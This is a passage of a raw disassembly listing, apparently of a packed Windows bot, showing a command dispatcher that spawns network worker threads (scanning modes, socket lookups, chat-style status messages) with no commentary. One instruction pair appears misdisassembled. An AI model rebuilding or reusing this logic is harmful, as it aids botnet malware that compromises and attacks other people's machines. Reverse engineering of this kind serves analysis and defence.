		mov	[ebp-368h], eax


loc_407452:				; CODE XREF: .nsp0:0040744Aj
		or	dword ptr [ebp-354h], 0FFFFFFFFh
		cmp	dword_438048, ebx
		mov	[ebp+24h], ebx
		jz	short loc_4074A1
		mov	edi, offset dword_438048


loc_407469:				; CODE XREF: .nsp0:00407483j
		push	dword ptr [ebp+18h]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407487
		inc	dword ptr [ebp+24h]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_407469
		jmp	short loc_4074A1
; ---------------------------------------------------------------------------


loc_407487:				; CODE XREF: .nsp0:00407479j
		mov	eax, [ebp+24h]
		mov	ecx, eax
		mov	[ebp-354h], eax
		shl	ecx, 6
		mov	ecx, dword_438048[ecx]
		mov	[ebp-370h], ecx


loc_4074A1:				; CODE XREF: .nsp0:00407462j
					; .nsp0:00407485j
		cmp	[ebp-370h], ebx
		jnz	short loc_4074B3
		push	offset unk_431408
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_4074B3:				; CODE XREF: .nsp0:004074A7j
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		mov	[ebp+8], edi
		jz	short loc_4074EE
		cmp	byte ptr [edi],	23h
		jz	short loc_4074EE
		push	edi
		lea	eax, [ebp-484h]
		push	10h
		push	eax
		call	sub_41C030
		push	78h
		push	edi
		call	sub_41C650
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-344h], eax
		jmp	loc_4075C8
; ---------------------------------------------------------------------------


loc_4074EE:				; CODE XREF: .nsp0:004074BCj
					; .nsp0:004074C1j
		cmp	[ebp-8FFh], bl
		jnz	short loc_407510
		cmp	[ebp-8FEh], bl
		jnz	short loc_407510
		cmp	[ebp-8EEh], bl
		jnz	short loc_407510
		push	offset unk_4313D4
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_407510:				; CODE XREF: .nsp0:004074F4j
					; .nsp0:004074FCj ...
		push	10h
		lea	eax, [ebp-2D8h]
		pop	edi
		push	eax
		lea	eax, [ebp-2F8h]
		push	eax
		mov	[ebp-2D8h], edi
		push	dword ptr [ebp+0Ch]
		call	dword_4D1194	; getsockname
		mov	al, [ebp-8FFh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2F4h], eax
		push	dword ptr [ebp-2F4h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-484h]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch
		cmp	[ebp-8EEh], bl
		jz	short loc_4075C2
		xor	eax, eax
		cmp	[ebp-8FFh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-484h]
		push	eax
		call	sub_41C4E0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_4075B6


loc_407594:				; CODE XREF: .nsp0:004075B4j
		cmp	eax, ebx
		jz	short loc_4075B6
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-484h]
		push	30h
		push	eax
		call	sub_41C4E0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_407594


loc_4075B6:				; CODE XREF: .nsp0:00407592j
					; .nsp0:00407596j
		mov	dword ptr [ebp-344h], 1
		jmp	short loc_4075C8
; ---------------------------------------------------------------------------


loc_4075C2:				; CODE XREF: .nsp0:0040756Cj
		mov	[ebp-344h], ebx


loc_4075C8:				; CODE XREF: .nsp0:004074E9j
					; .nsp0:004075C0j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-374h], eax
		mov	eax, [ebp-4]
		mov	[ebp-34Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	edi, 80h
		lea	eax, [ebp-474h]
		push	edi
		push	eax
		call	sub_41C030
		mov	esi, [ebp+esi-78h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407619


loc_407606:				; CODE XREF: .nsp0:0040763Cj
		push	esi


loc_407607:				; CODE XREF: .nsp0:00407626j
		lea	eax, [ebp-3F4h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_407644
; ---------------------------------------------------------------------------


loc_407619:				; CODE XREF: .nsp0:00407604j
		mov	eax, [ebp+8]
		cmp	eax, ebx
		jz	short loc_407628
		cmp	byte ptr [eax],	23h
		jnz	short loc_407628
		push	eax
		jmp	short loc_407607
; ---------------------------------------------------------------------------


loc_407628:				; CODE XREF: .nsp0:0040761Ej
					; .nsp0:00407623j
		mov	esi, offset aO1_0 ; "#o1"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407606
		mov	[ebp-3F4h], bl


loc_407644:				; CODE XREF: .nsp0:00407617j
		cmp	[ebp-344h], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407656
		mov	eax, offset aSequential	; "Sequential"


loc_407656:				; CODE XREF: .nsp0:0040764Fj
		push	dword ptr [ebp-358h]
		lea	ecx, [ebp-484h]
		push	dword ptr [ebp-368h]
		push	dword ptr [ebp-36Ch]
		push	dword ptr [ebp-370h]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43136C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-364h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-484h]
		push	ebx
		push	eax
		push	(offset	loc_40C247+1)
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-364h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4076E4


loc_4076CE:				; CODE XREF: .nsp0:004076E2j
		cmp	[ebp-340h], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4076CE
; ---------------------------------------------------------------------------


loc_4076E4:				; CODE XREF: .nsp0:004076CCj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431334
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4076F5:				; CODE XREF: .nsp0:004069BEj
					; .nsp0:004069D5j
		push	dword ptr [ebp+18h]
		call	sub_40AA54
		push	edi
		mov	[ebp-4E0h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-4F0h], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-4ECh], eax
		call	sub_41BE29
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-4E8h], eax
		lea	eax, [ebp-570h]
		mov	[ebp-574h], esi
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-4D8h], edi
		push	dword ptr [ebp-4ECh]
		mov	[ebp-4D4h], eax
		push	dword ptr [ebp-4F0h]
		push	dword ptr [ebp-4E8h]
		push	dword ptr [ebp-4E0h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4312E4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-4E4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-574h]
		push	ebx
		push	eax
		push	offset sub_40C665
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-4E4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4077EA


loc_4077D4:				; CODE XREF: .nsp0:004077E8j
		cmp	[ebp-4D0h], ebx
		jnz	loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4077D4
; ---------------------------------------------------------------------------


loc_4077EA:				; CODE XREF: .nsp0:004077D2j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4312A8
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_4077FB:				; CODE XREF: .nsp0:00406981j
					; .nsp0:00406998j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		cmp	byte_444138[eax], bl
		jz	loc_4097B8
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		call	sub_41B890
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		lea	eax, [ebp-2C0h]
		push	esi
		push	offset dword_43129C
		push	eax
		call	sub_41BF36
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443F20[eax], 73h
		jnz	loc_4097B8
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444138
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_4078EB:				; CODE XREF: .nsp0:004079EDj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		jmp	loc_4040A4
; ---------------------------------------------------------------------------


loc_407915:				; CODE XREF: .nsp0:00406953j
					; .nsp0:0040696Aj
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		cmp	byte_444138[eax], bl
		jz	loc_4097B8
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		call	sub_41B890
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443F20[eax], 73h
		jnz	loc_4097B8
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444138
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_4078EB
; ---------------------------------------------------------------------------


loc_4079F2:				; CODE XREF: .nsp0:00406925j
					; .nsp0:0040693Cj
		push	dword ptr [ebp+18h]
		call	dword_4D1230	; inet_addr
		push	edi
		mov	[ebp-680h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-690h], eax
		call	sub_41BE29
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-688h], eax
		lea	eax, [ebp-710h]
		mov	[ebp-714h], esi
		push	eax
		call	sub_41BCA0
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-678h], edi
		push	dword ptr [ebp-688h]
		mov	[ebp-674h], eax
		push	dword ptr [ebp-690h]
		push	dword ptr [ebp-680h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431240
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-684h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-714h]
		push	ebx
		push	eax
		push	offset sub_40C574
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-684h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407AD4


loc_407ABE:				; CODE XREF: .nsp0:00407AD2j
		cmp	[ebp-670h], ebx
		jnz	loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407ABE
; ---------------------------------------------------------------------------


loc_407AD4:				; CODE XREF: .nsp0:00407ABCj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431334
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: .nsp0:004068F7j
					; .nsp0:0040690Ej
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		mov	[ebp-112Ch], eax
		push	7Fh
		lea	eax, [ebp-1230h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		call	sub_41BE29
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-1130h], eax
		lea	eax, [ebp-11B0h]
		push	80h
		push	eax
		mov	[ebp-1238h], esi
		call	sub_41C030
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-111Ch], eax
		push	dword ptr [ebp-1130h]
		lea	eax, [ebp-1230h]
		mov	[ebp-1120h], edi
		push	eax
		push	dword ptr [ebp-112Ch]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431204
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	18h
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-1128h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1238h]
		push	ebx
		push	eax
		push	offset sub_4109AC
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1128h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407BCE


loc_407BB8:				; CODE XREF: .nsp0:00407BCCj
		cmp	[ebp-1118h], ebx
		jnz	loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407BB8
; ---------------------------------------------------------------------------


loc_407BCE:				; CODE XREF: .nsp0:00407BB6j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4311C0
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_407BDF:				; CODE XREF: .nsp0:004068C9j
					; .nsp0:004068E0j
		push	0FFh
		lea	eax, [ebp-2878h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	0FFh
		lea	eax, [ebp-2778h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	[ebp-2674h], ebx
		call	sub_41BE29
		mov	[ebp-2670h], eax
		mov	eax, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C38
		push	10h
		push	ebx
		push	eax
		call	sub_41C45E
		add	esp, 0Ch
		mov	[ebp-2668h], eax
		jmp	short loc_407C3E
; ---------------------------------------------------------------------------


loc_407C38:				; CODE XREF: .nsp0:00407C22j
		mov	[ebp-2668h], ebx


loc_407C3E:				; CODE XREF: .nsp0:00407C36j
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	short loc_407C55
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	[ebp-266Ch], eax
		jmp	short loc_407C5B
; ---------------------------------------------------------------------------


loc_407C55:				; CODE XREF: .nsp0:00407C44j
		mov	[ebp-266Ch], ebx


loc_407C5B:				; CODE XREF: .nsp0:00407C53j
		movzx	eax, byte ptr [ebp-8FBh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-2664h], eax
		lea	eax, [ebp-28F8h]
		mov	[ebp-28FCh], esi
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-265Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-2660h], eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431194
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-2C0h]
		push	1Dh
		push	eax
		call	sub_40B00E
		add	esp, 28h
		mov	[ebp-2678h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-28FCh]
		push	ebx
		push	eax
		push	(offset	loc_416A01+1)
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-2678h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407D09


loc_407CF3:				; CODE XREF: .nsp0:00407D07j
		cmp	[ebp-2658h], ebx
		jnz	loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407CF3
; ---------------------------------------------------------------------------


loc_407D09:				; CODE XREF: .nsp0:00407CF1j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431154
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407D1A:				; CODE XREF: .nsp0:0040689Bj
					; .nsp0:004068B2j
		push	7Fh
		lea	eax, [ebp-3490h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3410h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3390h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3310h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-328Ch], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3288h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3494h], esi
		push	offset unk_431118
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	12h
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-3290h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3494h]
		push	ebx
		push	eax
		push	offset word_41508E
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-3290h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407DF1


loc_407DDB:				; CODE XREF: .nsp0:00407DEFj
		cmp	[ebp-3284h], ebx
		jnz	loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407DDB
; ---------------------------------------------------------------------------


loc_407DF1:				; CODE XREF: .nsp0:00407DD9j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4310E0
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407E02:				; CODE XREF: .nsp0:0040676Ej
					; .nsp0:00406785j
		push	7Fh
		lea	eax, [ebp-3068h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2FE8h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2F68h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2EE8h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2E64h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-2E60h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-306Ch], esi
		push	offset unk_4310B0
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-2E68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-306Ch]
		push	ebx
		push	eax
		push	offset dword_413DC8
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-2E68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407ED9


loc_407EC3:				; CODE XREF: .nsp0:00407ED7j
		cmp	[ebp-2E5Ch], ebx
		jnz	loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407EC3
; ---------------------------------------------------------------------------


loc_407ED9:				; CODE XREF: .nsp0:00407EC1j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431078
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407EEA:				; CODE XREF: .nsp0:00406645j
					; .nsp0:0040665Cj ...
		push	7Fh
		lea	eax, [ebp-3CE4h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3C64h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3BE4h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3B64h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	20h
		lea	eax, [ebp-3AE4h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3A64h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3A60h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3CECh], esi
		push	offset unk_431048
		push	eax
		call	sub_41BF36
		add	esp, 50h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-3CE8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3CECh]
		push	ebx
		push	eax
		push	offset byte_413055
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-3CE8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_407FD2


loc_407FBC:				; CODE XREF: .nsp0:00407FD0j
		cmp	[ebp-3A5Ch], ebx
		jnz	loc_407202
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_407FBC
; ---------------------------------------------------------------------------


loc_407FD2:				; CODE XREF: .nsp0:00407FBAj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431010
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407FE3:				; CODE XREF: .nsp0:00406617j
					; .nsp0:0040662Ej
		push	7Fh
		lea	eax, [ebp-1778h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	3Fh
		mov	[ebp-1628h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-16F8h]
		push	eax
		call	sub_41BCA0
		mov	esi, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40802E
		push	3Fh
		lea	eax, [ebp-16B8h]
		push	esi
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_40802E:				; CODE XREF: .nsp0:0040801Aj
		lea	eax, [ebp-16F8h]
		mov	dword ptr [ebp-1624h], 1
		push	eax
		lea	eax, [ebp-1778h]
		push	dword ptr [ebp-1628h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_430FE0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Fh
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1620h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-177Ch]
		push	ebx
		push	eax
		push	offset sub_4018A1
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1620h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4080BA


loc_4080A4:				; CODE XREF: .nsp0:004080B8j
		cmp	[ebp-161Ch], ebx
		jnz	loc_406C65
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4080A4
; ---------------------------------------------------------------------------


loc_4080BA:				; CODE XREF: .nsp0:004080A2j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_430FA4
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_4080CB:				; CODE XREF: .nsp0:004065D7j
					; .nsp0:004065EEj
		push	edi
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-1D64h], eax
		jle	loc_4081B8
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1EECh]
		push	esi
		push	eax
		call	sub_41C030
		xor	eax, eax
		cmp	[ebp-8EEh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1D60h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1EF0h], eax
		lea	eax, [ebp-1DECh]
		push	esi
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-1D5Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-1D58h], eax
		push	offset unk_430F78
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	15h
		push	eax
		call	sub_40B00E
		add	esp, 38h
		mov	[ebp-1D6Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1EF0h]
		push	ebx
		push	eax
		push	offset dword_41349C
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1D6Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4081A7


loc_408195:				; CODE XREF: .nsp0:004081A5j
		cmp	[ebp-1D54h], ebx
		jnz	short loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_408195
; ---------------------------------------------------------------------------


loc_4081A7:				; CODE XREF: .nsp0:00408193j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430F40
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4081B8:				; CODE XREF: .nsp0:004080DAj
		push	offset unk_430F08
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_4081C2:				; CODE XREF: .nsp0:004065A9j
					; .nsp0:004065C0j
		push	edi
		push	dword ptr [ebp+18h]
		call	near ptr 0B40000h
		adc	al, [ebp+571F74C0h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	offset unk_430EE4
		push	200h
		push	eax
		call	sub_41C030


loc_4081EA:				; CODE XREF: .nsp0:004040CEj
		add	esp, 14h
		jmp	short loc_40820E
; ---------------------------------------------------------------------------
		push	offset dword_430ED8
		call	sub_4188F8
		push	eax
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_40820E:				; CODE XREF: .nsp0:00403C01j
					; .nsp0:004049C3j ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_40822B:				; CODE XREF: .nsp0:0040721Dj
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_408238:				; CODE XREF: .nsp0:0040657Bj
					; .nsp0:00406592j
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-3F04h]
		push	104h
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_408272
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408272
		push	eax
		lea	eax, [ebp-3E00h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408272:				; CODE XREF: .nsp0:00408252j
					; .nsp0:00408261j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-3F84h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	[ebp-3F88h], eax
		mov	eax, [ebp-4]
		mov	[ebp-3CF8h], eax
		mov	eax, [ebp-8]
